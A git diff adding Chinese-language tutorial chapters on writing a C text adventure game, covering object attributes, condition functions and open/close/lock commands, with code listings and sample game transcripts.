+假设我们的洞口被警卫挡住了。玩家就过不去，我们可以简单地将通道的*目的地*更改为终点位置（或 *NULL*），但这会导致对*诸如 go cave 和 look cave* 这样的命令做出不正确的回应：“你在这里看不到任何洞穴。我们需要一个将通道的实际终点和虚假终点分开的单独属性。为此，我们将引入一个属性 prospect 来表示后者。
+
+1. 在许多冒险中，玩家以及游戏中的 NPC 在携带量方面受到限制。给每件物品一个重量，角色库存中所有物品的总重量不应超过该角色所能承载的最大重量。当然，我们也可以给一个物体一个非常高的重量，使它不可移动（一棵树，一座房子，一座山）。
+2. RPG 式的冒险游戏需要角色的整个属性范围 ( 玩家与非玩家 )，例如 HP。HP 为零的对象要么死了，要么根本不是角色。
+
+我们在 object.txt 中定义了七个新属性：
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+typedef struct object {
+   const char    *description;
+   const char   **tags;
+   struct object *location;
+   struct object *destination;
+   struct object *prospect;
+   const char    *details;
+   const char    *contents;
+   const char    *textGo;
+   int            weight;
+   int            capacity;
+   int            health;
+} OBJECT;
+
+extern OBJECT objs[];
+
+- field
+     description "an open field"
+     tags        "field"
+     details     "The field is a nice and quiet place under a clear blue sky."
+     capacity    9999
+
+- cave
+     description "a little cave"
+     tags        "cave"
+     details     "The cave is just a cold, damp, rocky chamber."
+     capacity    9999
+
+- silver
+     description "a silver coin"
+     tags        "silver", "coin", "silver coin"
+     location    field
+     details     "The coin has an eagle on the obverse."
+     weight      1
+     //如果你觉得不合理，可以自己更改
+
+- gold
+     description "a gold coin"
+     tags        "gold", "coin", "gold coin"
+     location    cave
+     details     "The shiny coin seems to be a rare and priceless artefact."
+     weight      1
+
+- guard
+     description "a burly guard"
+     tags        "guard", "burly guard"
+     location    field
+     details     "The guard is a really big fellow."
+     contents    "He has"
+     health      100
+     capacity    20
+
+- player
+     description "yourself"
+     tags        "yourself"
+     location    field
+     details     "You would need a mirror to look at yourself."
+     contents    "You have"
+     health      100
+     capacity    20
+
+- intoCave
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     prospect    cave
+     details     "The entrance is just a narrow opening in a small outcrop."
+     textGo      "The guard stops you from walking into the cave."
+
+- exitCave
+     description "an exit to the west"
+     tags        "west", "exit"
+     location    cave
+     destination field
+     details     "Sunlight pours in through an opening in the cave's wall."
+     textGo      "You walk out of the cave."
+
+- wallField
+     description "dense forest all around"
+     tags        "west", "north", "south", "forest"
+     location    field
+     details     "The field is surrounded by trees and undergrowth."
+     textGo      "Dense forest is blocking the way."
+
+- wallCave
+     description "solid rock all around"
+     tags        "east", "north", "south", "rock"
+     location    cave
+     details     "Carved in stone is a secret password 'abccb'."
+     textGo      "Solid rock is blocking the way."
+```
+
+注意：textGo 不仅对通道对象有用，而且对非通道对象也有用 ( 在这种情况下，以后我们将介绍“墙”这个概念)
+
+::: warning 🤔 思考题：你能否自行实现上述伪代码？
+:::
+
+现在，我们已经可以使用新属性 (如果你完成了上面的思考题),**details** 用于新识别的命令*外观`<object>`*，**textGo** 在我们的命令 *go* 实现中替换固定文本*“OK*”。
+
+## location.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+
+void executeLook(const char *noun)
+{
+   if (noun != NULL && strcmp(noun, "around") == 0)
+   {
+      printf("You are in %s.\n", player->location->description);
+      listObjectsAtLocation(player->location);
+   }
+   else
+   {
+      OBJECT *obj = getVisible("what you want to look at", noun);
+      switch (getDistance(player, obj))
+      {
+      case distHereContained:
+         printf("Hard to see, try to get it first.\n");
+         break;
+      case distOverthere:
+         printf("Too far away, move closer please.\n");
+         break;
+      case distNotHere:
+         printf("You don't see any %s here.\n", noun);
+         break;
+      case distUnknownObject:
+         // already handled by getVisible
+         break;
+      default:
+         printf("%s\n", obj->details);
+         listObjectsAtLocation(obj);
+      }
+   }
+}
+
+static void movePlayer(OBJECT *passage)
+{
+   printf("%s\n", passage->textGo);
+   if (passage->destination != NULL)
+   {
+      player->location = passage->destination;
+      printf("\n");
+      executeLook("around");
+   }
+}
+
+void executeGo(const char *noun)
+{
+   OBJECT *obj = getVisible("where you want to go", noun);
+   switch (getDistance(player, obj))
+   {
+   case distOverthere:
+      movePlayer(getPassage(player->location, obj));
+      break;
+   case distNotHere:
+      printf("You don't see any %s here.\n", noun);
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      movePlayer(obj);
+   }
+}
+```
+
+属性权重和容量一起成为不能将某些对象移动到周围的可能原因。而 HP 检查代替了角色的硬编码白名单。
+
+## move.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+
+static int weightOfContents(OBJECT *container)
+{
+   int sum = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (isHolding(container, obj)) sum += obj->weight;
+   }
+   return sum;
+}
+
+static void describeMove(OBJECT *obj, OBJECT *to)
+{
+   if (to == player->location)
+   {
+      printf("You drop %s.\n", obj->description);
+   }
+   else if (to != player)
+   {
+      printf(to->health > 0 ? "You give %s to %s.\n" : "You put %s in %s.\n",
+             obj->description, to->description);
+   }
+   else if (obj->location == player->location)
+   {
+      printf("You pick up %s.\n", obj->description);
+   }
+   else
+   {
+      printf("You get %s from %s.\n",
+             obj->description, obj->location->description);
+   }
+}
+
+void moveObject(OBJECT *obj, OBJECT *to)
+{
+   if (obj == NULL)
+   {
+      // already handled by getVisible or getPossession
+   }
+   else if (to == NULL)
+   {
+      printf("There is nobody here to give that to.\n");
+   }
+   else if (obj->weight > to->capacity)
+   {
+      printf("That is way too heavy.\n");
+   }
+   else if (obj->weight + weightOfContents(to) > to->capacity)
+   {
+      printf("That would become too heavy.\n");
+   }
+   else
+   {
+      describeMove(obj, to);
+      obj->location = to;
+   }
+}
+```
+
+这里还有一个模块可以使用 HP 来识别角色。
+
+## inventory.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+#include "move.h"
+
+void executeGet(const char *noun)
+{
+   OBJECT *obj = getVisible("what you want to get", noun);
+   switch (getDistance(player, obj))
+   {
+   case distSelf:
+      printf("You should not be doing that to yourself.\n");
+      break;
+   case distHeld:
+      printf("You already have %s.\n", obj->description);
+      break;
+   case distOverthere:
+      printf("Too far away, move closer please.\n");
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      if (obj->location != NULL && obj->location->health > 0)
+      {
+         printf("You should ask %s nicely.\n", obj->location->description);
+      }
+      else
+      {
+         moveObject(obj, player);
+      }
+   }
+}
+
+void executeDrop(const char *noun)
+{
+   moveObject(getPossession(player, "drop", noun), player->location);
+}
+
+void executeAsk(const char *noun)
+{
+   moveObject(getPossession(actorHere(), "ask", noun), player);
+}
+
+void executeGive(const char *noun)
+{
+   moveObject(getPossession(player, "give", noun), actorHere());
+}
+
+void executeInventory(void)
+{
+   if (listObjectsAtLocation(player) == 0)
+   {
+      printf("You are empty-handed.\n");
+   }
+}
+```
+
+::: warning 🤔 思考题：仔细观察这段代码，看看与你写的有何不同？
+:::
+
+权重检查利用了新功能 *weightOfContents，*它将在*misc.c*中实现。在同一模块中，我们还对一些现有函数进行了修改，以支持最后几个属性。
+
+属性内容将替换固定文本*“You see”。*在列出玩家的库存时，原始文本已经有点奇怪了，但是现在函数*listObjectsAtLocation*用于显示任何可能对象的内容（请参阅上面的函数*expertLook*），我们真的需要一些更灵活的东西。
+
+在函数 *getPassage* 中我们将属性*目标*替换为 prospect，并改进*对所有*命令（而不仅仅是 *go* and *look*）的响应，这些命令应用于位于“隐藏通道”另一端的位置。
+
+## misc.h
+
+```c
+typedef enum {
+   distSelf,
+   distHeld,
+   distHeldContained,
+   distLocation,
+   distHere,
+   distHereContained,
+   distOverthere,
+   distNotHere,
+   distUnknownObject
+} DISTANCE;
+
+extern bool isHolding(OBJECT *container, OBJECT *obj);
+extern OBJECT *getPassage(OBJECT *from, OBJECT *to);
+extern DISTANCE getDistance(OBJECT *from, OBJECT *to);
+extern OBJECT *actorHere(void);
+extern int listObjectsAtLocation(OBJECT *location);
+```
+
+## misc.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+
+bool isHolding(OBJECT *container, OBJECT *obj)
+{
+   return obj != NULL && obj->location == container;
+}
+
+OBJECT *getPassage(OBJECT *from, OBJECT *to)
+{
+   if (from != NULL && to != NULL)
+   {
+      OBJECT *obj;
+      for (obj = objs; obj < endOfObjs; obj++)
+      {
+         if (isHolding(from, obj) && obj->prospect == to)
+         {
+            return obj;
+         }
+      }
+   }
+   return NULL;
+}
+
+DISTANCE getDistance(OBJECT *from, OBJECT *to)
+{
+   return to == NULL                               ? distUnknownObject :
+          to == from                               ? distSelf :
+          isHolding(from, to)                      ? distHeld :
+          isHolding(to, from)                      ? distLocation :
+          isHolding(from->location, to)            ? distHere :
+          isHolding(from, to->location)            ? distHeldContained :
+          isHolding(from->location, to->location)  ? distHereContained :
+          getPassage(from->location, to) != NULL   ? distOverthere :
+                                                     distNotHere;
+}
+
+OBJECT *actorHere(void)
+{
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (isHolding(player->location, obj) && obj != player &&
+          obj->health > 0)
+      {
+         return obj;
+      }
+   }
+   return NULL;
+}
+
+int listObjectsAtLocation(OBJECT *location)
+{
+   int count = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj != player && isHolding(location, obj))
+      {
+         if (count++ == 0)
+         {
+            printf("%s:\n", location->contents);
+         }
+         printf("%s\n", obj->description);
+      }
+   }
+   return count;
+}
+```
+
+::: warning 🤔 思考题：
+为什么上面的 getPassage 函数使用了函数指针这种语法？
+
+函数指针和指针函数有什么区别？
+:::
+
+为了使整个画面完整，最好扩展前面生成的地图，我们可以用虚线表示“明显”的通道。
+
+```awk
+BEGIN     { print "digraph map {"; }
+/^- /     { outputEdges(); delete a; }
+/^[ \t]/  { a[$1] = $2; }
+END       { outputEdges(); print "}"; }
+
+function outputEdges()
+{
+   outputEdge(a["location"], a["destination"], "");
+   outputEdge(a["location"], a["prospect"], " [style=dashed]");
+}
+
+function outputEdge(from, to, style)
+{
+   if (from && to) print "\t" from " -> " to style;
+}
+```
+
+注意：
+
+- 尽量不要太担心浪费仅在某些类型的对象中使用的属性上的内存空间（例如，*textGo*仅用于通道），或者许多重复的字符串文本。
+- 为了演示属性 prospect 的使用，我们使洞穴无法访问。当您查看新*地图时，*这一点立即变得很明显。进入洞穴的箭头是虚线的，这意味着这是一个虚假的通道，但不是实际的通道。请放心，洞穴将在下一章重新开放。
+- 请注意，更详细的描述往往需要一个更大的字典（更多的对象，更多的标签）。例如，命令 look silver coin 现在返回 "该硬币的正面有一只鹰"。玩家通过输入一个命令 look eagle 来查看银币，但程序并不知道鹰是什么意思 (显然这样子是不行的)。
+
+输出样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance to the east
+dense forestall around
+
+--> look guard
+The guard is a really big fellow.
+
+--> get guard
+That is way too heavy.
+
+--> get coin
+You pick up a silver coin.
+
+--> inventory
+You have:
+a silver coin
+
+--> give coin
+You give a silver coin to a burly guard.
+
+--> look guard
+The guard is a really big fellow.
+He has:
+a silver coin
+
+--> go cave
+The guard stops you from walking into the cave.
+
+--> go north
+Dense forest is blocking the way.
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件.md
new file mode 100644
index 0000000..668a89c
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件.md
@@ -0,0 +1,322 @@
+# 11.设置条件
+
+到目前为止，所有对象的属性都是数据：文本、数字。但属性也可以是代码。
+
+在上一章中，我们通过关闭洞穴入口（进入洞穴的通道）来限制玩家的行动自由。这已经让游戏变得更有挑战性了，但这并没有带来多少谜题，除非我们为玩家提供一个微小的可能性来打开通道。真正的挑战应该是让玩家找到通道打开的条件。
+
+让我们举一个简单的例子。为了越过守卫进入山洞，玩家必须杀死或贿赂守卫（或两者兼而有之，这很有价值）。换句话说：
+
+- 当警卫死亡时（HP=0），入口开放
+- 当警卫拿着银币 (贿赂警卫) 时，入口开放
+- 两者都不是，入口关闭
+
+打开一个封闭的通道（在这里是进入洞穴）涉及到改变一些属性值：
+
+- 目的地从 NULL(空地点) 变为洞穴
+- **textGo**从 "警卫阻止你...... "改为 "你走进山洞"
+- 在一些特殊情况下，描述和细节不需要改变。但对于一个门洞或栅栏，其中之一（或两者）通常会包含一些从 "开放 "到 "关闭 "的文字。
+
+有许多方法来实现这一目标。在这里，我们将讨论一种简单、可维护和通用的方法。
+
+首先，我们定义了两个独立的通道：一个代表开放通道，另一个代表封闭通道。除了上面列出的那些，这两条通道在每一个属性上都是相同的。(在你下面看到的生成的地图中，注意有两个箭头通向洞穴；一个是实线，一个是虚线)。
+
+接下来，我们引入一个名为条件的新属性，它决定了某个对象是否存在。这两个通道将被赋予互斥的条件，因此在任何时候都只能有一个存在。
+
+每个条件将被实现为一个布尔函数：**TRUE**意味着该对象存在，**FALSE**意味着它不存在。
+
+```c
+bool intoCaveIsOpen(void)
+{
+   return guard->health == 0 || silver->location == guard;
+}
+
+bool intoCaveIsClosed(void)
+{
+   return guard->health > 0 && silver->location != guard;
+}
+```
+
+::: warning 🤔 思考题：你能仿照上面例子自己写一些条件函数吗？
+:::
+
+新的属性条件是一个指向这样一个函数的指针。
+
+```c
+bool (*condition)(void);
+```
+
+接下来，我们可以立即开始为 object.txt 中的新属性分配函数。
+
+## object.txt
+
+```txt
+- intoCave
+     condition   intoCaveIsOpen
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     destination cave
+     detail      "The entrance is just a narrow opening in a small outcrop.\n"
+     textGo      "You walk into the cave.\n"
+
+- intoCaveBlocked
+     condition   intoCaveIsClosed
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     prospect    cave
+     detail      "The entrance is just a narrow opening in a small outcrop.\n"
+     textGo      "The guard stops you from walking into the cave.\n"
+```
+
+::: warning 🤔 思考题：尝试自己实现上面的伪代码
+:::
+
+这两个 "条件 "函数是如此具体，每一个条件函数都只用这一次。现在，我们可以在我们需要的地方定义这些函数。许多编程语言都支持匿名函数，像这样：
+
+```txt
+- intoCave
+     condition   { return guard->health == 0 || silver->location == guard; }
+     ...
+
+- intoCaveBlocked
+     condition   { return guard->health > 0 && silver->location != guard; }
+     ...
+```
+
+所以现在我们可以把额外的段落和条件添加到 object.txt 中，就像前面解释的那样。
+
+## new object.txt
+
+```txt
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+
+typedef struct object {
+   bool         (*condition)(void);
+   const char    *description;
+   const char   **tags;
+   struct object *location;
+   struct object *destination;
+   struct object *prospect;
+   const char    *details;
+   const char    *contents;
+   const char    *textGo;
+   int            weight;
+   int            capacity;
+   int            health;
+} OBJECT;
+
+extern OBJECT objs[];
+
+- field
+     description "an open field"
+     tags        "field"
+     details     "The field is a nice and quiet place under a clear blue sky."
+     capacity    9999
+
+- cave
+     description "a little cave"
+     tags        "cave"
+     details     "The cave is just a cold, damp, rocky chamber."
+     capacity    9999
+
+- silver
+     description "a silver coin"
+     tags        "silver", "coin", "silver coin"
+     location    field
+     details     "The coin has an eagle on the obverse."
+     weight      1
+
+- gold
+     description "a gold coin"
+     tags        "gold", "coin", "gold coin"
+     location    cave
+     details     "The shiny coin seems to be a rare and priceless artefact."
+     weight      1
+
+- guard
+     description "a burly guard"
+     tags        "guard", "burly guard"
+     location    field
+     details     "The guard is a really big fellow."
+     contents    "He has"
+     health      100
+     capacity    20
+
+- player
+     description "yourself"
+     tags        "yourself"
+     location    field
+     details     "You would need a mirror to look at yourself."
+     contents    "You have"
+     health      100
+     capacity    20
+
+- intoCave
+     condition   { return guard->health == 0 || silver->location == guard; }
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     destination cave
+     details     "The entrance is just a narrow opening in a small outcrop."
+     textGo      "You walk into the cave."
+
+- intoCaveBlocked
+     condition   { return guard->health > 0 && silver->location != guard; }
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     prospect    cave
+     details     "The entrance is just a narrow opening in a small outcrop."
+     textGo      "The guard stops you from walking into the cave."
+
+- exitCave
+     description "an exit to the west"
+     tags        "west", "exit"
+     location    cave
+     destination field
+     details     "Sunlight pours in through an opening in the cave's wall."
+     textGo      "You walk out of the cave."
+
+- wallField
+     description "dense forest all around"
+     tags        "west", "north", "south", "forest"
+     location    field
+     details     "The field is surrounded by trees and undergrowth."
+     textGo      "Dense forest is blocking the way."
+
+- wallCave
+     description "solid rock all around"
+     tags        "east", "north", "south", "rock"
+     location    cave
+     details     "Carved in stone is a secret password 'abccb'."
+     textGo      "Solid rock is blocking the way."
+```
+
+::: warning 🤔 思考题：尝试自己实现这些功能，并看看与你之前设计的有何不同
+:::
+
+为了使这些条件发挥作用，我们需要调整函数 isHolding 和 getDistance。
+
+## misc.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+
+bool isHolding(OBJECT *container, OBJECT *obj)
+{
+   return validObject(obj) && obj->location == container;
+}
+
+OBJECT *getPassage(OBJECT *from, OBJECT *to)
+{
+   if (from != NULL && to != NULL)
+   {
+      OBJECT *obj;
+      for (obj = objs; obj < endOfObjs; obj++)
+      {
+         if (isHolding(from, obj) && obj->prospect == to)
+         {
+            return obj;
+         }
+      }
+   }
+   return NULL;
+}
+
+DISTANCE getDistance(OBJECT *from, OBJECT *to)
+{
+   return to == NULL                               ? distUnknownObject :
+          !validObject(to)                         ? distNotHere :
+          to == from                               ? distSelf :
+          isHolding(from, to)                      ? distHeld :
+          isHolding(to, from)                      ? distLocation :
+          isHolding(from->location, to)            ? distHere :
+          isHolding(from, to->location)            ? distHeldContained :
+          isHolding(from->location, to->location)  ? distHereContained :
+          getPassage(from->location, to) != NULL   ? distOverthere :
+                                                     distNotHere;
+}
+
+OBJECT *actorHere(void)
+{
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (isHolding(player->location, obj) && obj != player &&
+          obj->health > 0)
+      {
+         return obj;
+      }
+   }
+   return NULL;
+}
+
+int listObjectsAtLocation(OBJECT *location)
+{
+   int count = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj != player && isHolding(location, obj))
+      {
+         if (count++ == 0)
+         {
+            printf("%s:\n", location->contents);
+         }
+         printf("%s\n", obj->description);
+      }
+   }
+   return count;
+}
+```
+
+::: warning 🤔 思考题：想想我们调整了什么
+:::
+
+注意：
+
+1. 警卫不可能会死，所以可以说我们的条件函数中的**HP**是很无用的。当然，这很容易通过添加一个 kill 命令来解决，见第 20 章。
+2. 这两个条件函数是互补的；它们有资格成为重复的代码。为了消除这一点，我们可能决定让一个函数调用另一个函数（用'！'操作符来否定结果）。一个匿名函数没有（稳定的）名字，但我们可以用它的对象来指代它。我们可以用 intoCaveBlocked 的条件函数代替。
+3. 为了简单起见，条件函数没有参数。实际上，传递一个参数 OBJECT *obj 可能更好；这使得编写更多的通用条件函数成为可能，可以在多个对象中重复使用。
+4. 在理论上，任何对象都可以成为 "条件"。在下一章，你可以看到一个类似的技术被应用于此。
+
+::: warning 🤔 思考题：想一想上面第二点要怎么用 C 来实现？
+:::
+
+输出样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance to the east
+dense forest all around
+
+--> go entrance
+The guard stops you from walking into the cave.
+
+--> get coin
+You pick up a silver coin.
+
+--> give coin
+You give a silver coin to a burly guard.
+
+--> go entrance
+You walk into the cave.
+
+You are in a little cave.
+You see:
+a gold coin
+an exit to the west
+solid rock all around
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭.md
new file mode 100644
index 0000000..d352de3
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭.md
@@ -0,0 +1,673 @@
+# 12.开启关闭
+
+在上一章中，我们使用 "条件 "函数来使对象消失。当然，还有一个更简单的方法来实现同样的目的：只要清除对象的位置属性就可以了！
+
+洞口是一个典型的例子，条件函数在那里工作得特别好。这是因为入口受到其他对象（守卫和银币）中的属性的影响；我们可以使用函数使得所有的逻辑都能保持一致。
+
+让我们举一个更直接的例子。假设山洞有一扇门通向一个密室。只是一个简单的门洞，玩家可以打开和关闭。就像前一章一样，我们将使用两个对象来表示这个通道；一个表示打开的门，另一个表示门关闭时。
+
+```txt
+- backroom
+     description "a backroom"
+     tags        "backroom"
+     details     "The room is dusty and messy.\n"
+
+- openDoorToBackroom
+     description "an open door to the south"
+     tags        "south", "door", "doorway"
+     destination backroom
+     details     "The door is open.\n"
+     textGo      "You walk through the door into the backroom.\n"
+
+- closedDoorToBackroom
+     description "a closed door to the south"
+     tags        "south", "door", "doorway"
+     location    cave
+     prospect    backroom
+     details     "The door is closed.\n"
+     textGo      "The door is closed.\n"
+```
+
+::: warning 🤔 思考题：尝试自己用 C 语言实现
+:::
+
+自然，门也应该能从另一侧进入。
+
+```txt
+- openDoorToCave
+     description "an open door to the north"
+     tags        "north", "door", "doorway"
+     destination cave
+     details     "The door is open.\n"
+     textGo      "You walk through the door into the cave.\n"
+
+- closedDoorToCave
+     description "a closed door to the north"
+     tags        "north", "door", "doorway"
+     location    backroom
+     prospect    cave
+     details     "The door is closed.\n"
+     textGo      "The door is closed.\n"
+```
+
+注意我们只给封闭的门洞一个位置，开放的门洞没有。所以一开始，门是关闭的（因此你在右边看到的生成的地图中，山洞和密室之间有虚线箭头）。要打开门，我们所要做的就是交换位置。
+
+```c
+openDoorToBackroom->location = cave;
+closedDoorToBackroom->location = NULL;
+openDoorToCave->location = backroom;
+closedDoorToCave->location = NULL;
+```
+
+接下来，让我们创建一个辅助函数来适应这种情况。
+
+```c
+void swapLocations(OBJECT *obj1, OBJECT *obj2)
+{
+   OBJECT *tmp = obj1->location;
+   obj1->location = obj2->location;
+   obj2->location = tmp;
+}
+```
+
+现在可以用下面的语句来打开这扇门；一旦它被打开，同样的语句将再次关闭它。
+
+```c
+swapLocations(openDoorToBackroom, closedDoorToBackroom);
+swapLocations(openDoorToCave, closedDoorToCave);
+```
+
+函数 swapLocations 不依赖于固定的位置，因为它在两个对象之间来回传递当前位置。
+
+当相关对象是可移动的时候，辅助功能就特别方便。例如，一个盒子可以被打开和关闭，但它也是一个可以被拿起并移动到其他地方的物品。换句话说，它的位置是不固定的。
+
+当然，一个盒子不是一个通道：玩家总是在盒子外面。所以一对物体就够了，也就是说，我们调用一次 swapLocations 函数就够了。
+
+```c
+swapLocations(openBox, closedBox);
+```
+
+这或多或少是我们实现一些新命令 open 和 close 所需要的。下面是 open 的一个简单实现；close 的实现也类似。
+
+```c
+OBJECT *obj = parseObject(noun);
+if (obj == closedDoorToBackRoom || obj == closedDoorToCave)
+{
+   swapLocations(openDoorToBackroom, closedDoorToBackroom);
+   swapLocations(openDoorToCave, closedDoorToCave);
+   printf("OK.\n");
+}
+else if (obj == closedBox)
+{
+   swapLocations(openBox, closedBox);
+   printf("OK.\n");
+}
+else if (obj == openDoorToBackRoom || obj == openDoorToCave || obj == openBox)
+{
+   printf("That is already open.\n");
+}
+else
+{
+   printf("That cannot be opened.\n");
+}
+```
+
+::: warning 🤔 思考题：你能不能仿照上面的代码实现 close 功能？
+:::
+
+为了使事情稍微复杂一些，我们可以在门上或盒子上加一把锁。这需要（至少）三个相互排斥的对象；每个可能的状态都有一个：打开、关闭和锁定。但是我们仍然可以使用同一个函数来交换对象的位置。例如，这里是如何解锁一个上锁的盒子；反之亦然。
+
+```c
+swapLocations(closedBox, lockedBox);
+```
+
+但这仅仅是不够的，我们对命令 open 的实现必须进行扩展，以处理新的对象 lockedBox。
+
+```c
+...
+else if (obj == lockedBox)
+{
+   printf("You can't, it is locked.\n");
+}
+...
+```
+
+显然，代码的行数与游戏中的门（以及盒子和其他可以打开的物体）的数量成正比。因此，如果你的游戏有不止几扇门，那么选择一个更通用的解决方案是个好主意。顺便说一下，这对每一个命令都是适用的：当它涉及到许多物体时，尽量写通用代码；但当你处理一两个特殊情况时，就坚持使用直接的、专门的代码。
+
+::: warning 🤔 思考题：
+我们可以使用什么方法来解决这个问题？
+
+提示：C++ 中的模板功能（这只是一种选择）
+
+下面我们将揭晓答案
+:::
+
+通用代码通常带有数据驱动的方法。换句话说，我们需要向我们的对象结构添加一个或多个属性。在这种特殊情况下，我们将为我们希望支持的每个命令添加一个函数指针：打开、关闭、锁定和解锁。
+
+## object.txt
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "toggle.h"
+
+typedef struct object {
+   bool         (*condition)(void);
+   const char    *description;
+   const char   **tags;
+   struct object *location;
+   struct object *destination;
+   struct object *prospect;
+   const char    *details;
+   const char    *contents;
+   const char    *textGo;
+   int            weight;
+   int            capacity;
+   int            health;
+   void         (*open)(void);
+   void         (*close)(void);
+   void         (*lock)(void);
+   void         (*unlock)(void);
+} OBJECT;
+
+extern OBJECT objs[];
+
+- field
+     description "an open field"
+     tags        "field"
+     details     "The field is a nice and quiet place under a clear blue sky."
+     capacity    9999
+
+- cave
+     description "a little cave"
+     tags        "cave"
+     details     "The cave is just a cold, damp, rocky chamber."
+     capacity    9999
+
+- silver
+     description "a silver coin"
+     tags        "silver", "coin", "silver coin"
+     location    field
+     details     "The coin has an eagle on the obverse."
+     weight      1
+
+- gold
+     description "a gold coin"
+     tags        "gold", "coin", "gold coin"
+     location    openBox
+     details     "The shiny coin seems to be a rare and priceless artefact."
+     weight      1
+
+- guard
+     description "a burly guard"
+     tags        "guard", "burly guard"
+     location    field
+     details     "The guard is a really big fellow."
+     contents    "He has"
+     health      100
+     capacity    20
+
+- player
+     description "yourself"
+     tags        "yourself"
+     location    field
+     details     "You would need a mirror to look at yourself."
+     contents    "You have"
+     health      100
+     capacity    20
+
+- intoCave
+     condition   { return guard->health == 0 || silver->location == guard; }
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     destination cave
+     details     "The entrance is just a narrow opening in a small outcrop."
+     textGo      "You walk into the cave."
+     open        isAlreadyOpen
+
+- intoCaveBlocked
+     condition   { return guard->health > 0 && silver->location != guard; }
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     prospect    cave
+     details     "The entrance is just a narrow opening in a small outcrop."
+     textGo      "The guard stops you from walking into the cave."
+     open        isAlreadyOpen
+
+- exitCave
+     description "an exit to the west"
+     tags        "west", "exit"
+     location    cave
+     destination field
+     details     "Sunlight pours in through an opening in the cave's wall."
+     textGo      "You walk out of the cave."
+     open        isAlreadyOpen
+
+- wallField
+     description "dense forest all around"
+     tags        "west", "north", "south", "forest"
+     location    field
+     details     "The field is surrounded by trees and undergrowth."
+     textGo      "Dense forest is blocking the way."
+
+- wallCave
+     description "solid rock all around"
+     tags        "east", "north", "rock"
+     location    cave
+     details     "Carved in stone is a secret password 'abccb'."
+     textGo      "Solid rock is blocking the way."
+
+- backroom
+     description "a backroom"
+     tags        "backroom"
+     details     "The room is dusty and messy."
+     capacity    9999
+
+- wallBackroom
+     description "solid rock all around"
+     tags        "east", "west", "south", "rock"
+     location    backroom
+     details     "Trendy wallpaper covers the rock walls."
+     textGo      "Solid rock is blocking the way."
+
+- openDoorToBackroom
+     description "an open door to the south"
+     tags        "south", "door", "doorway"
+     destination backroom
+     details     "The door is open."
+     textGo      "You walk through the door into a backroom."
+     open        isAlreadyOpen
+     close       toggleDoorToBackroom
+
+- closedDoorToBackroom
+     description "a closed door to the south"
+     tags        "south", "door", "doorway"
+     location    cave
+     prospect    backroom
+     details     "The door is closed."
+     textGo      "The door is closed."
+     open        toggleDoorToBackroom
+     close       isAlreadyClosed
+
+- openDoorToCave
+     description "an open door to the north"
+     tags        "north", "door", "doorway"
+     destination cave
+     details     "The door is open."
+     textGo      "You walk through the door into the cave."
+     open        isAlreadyOpen
+     close       toggleDoorToCave
+
+- closedDoorToCave
+     description "a closed door to the north"
+     tags        "north", "door", "doorway"
+     location    backroom
+     prospect    cave
+     details     "The door is closed."
+     textGo      "The door is closed."
+     open        toggleDoorToCave
+     close       isAlreadyClosed
+
+- openBox
+     description "a wooden box"
+     tags        "box", "wooden box"
+     details     "The box is open."
+     weight      5
+     capacity    10
+     open        isAlreadyOpen
+     close       toggleBox
+     lock        isStillOpen
+     unlock      isAlreadyOpen
+
+- closedBox
+     description "a wooden box"
+     tags        "box", "wooden box"
+     details     "The box is closed."
+     weight      5
+     open        toggleBox
+     close       isAlreadyClosed
+     lock        toggleBoxLock
+     unlock      isAlreadyUnlocked
+
+- lockedBox
+     description "a wooden box"
+     tags        "box", "wooden box"
+     location    backroom
+     details     "The box is closed."
+     weight      5
+     open        isStillLocked
+     close       isAlreadyClosed
+     lock        isAlreadyLocked
+     unlock      toggleBoxLock
+
+- keyForBox
+     description "a tiny key"
+     tags        "key", "tiny key"
+     location    cave
+     details     "The key is really small and shiny."
+     weight      1
+```
+
+注意：
+
+- 第 89 行：乍一看，isAlreadyOpen 在这里似乎不合适；从技术上讲，intoCaveBlocked 是一个封闭的通道。但从故事上讲，它是一个不错的开场白。
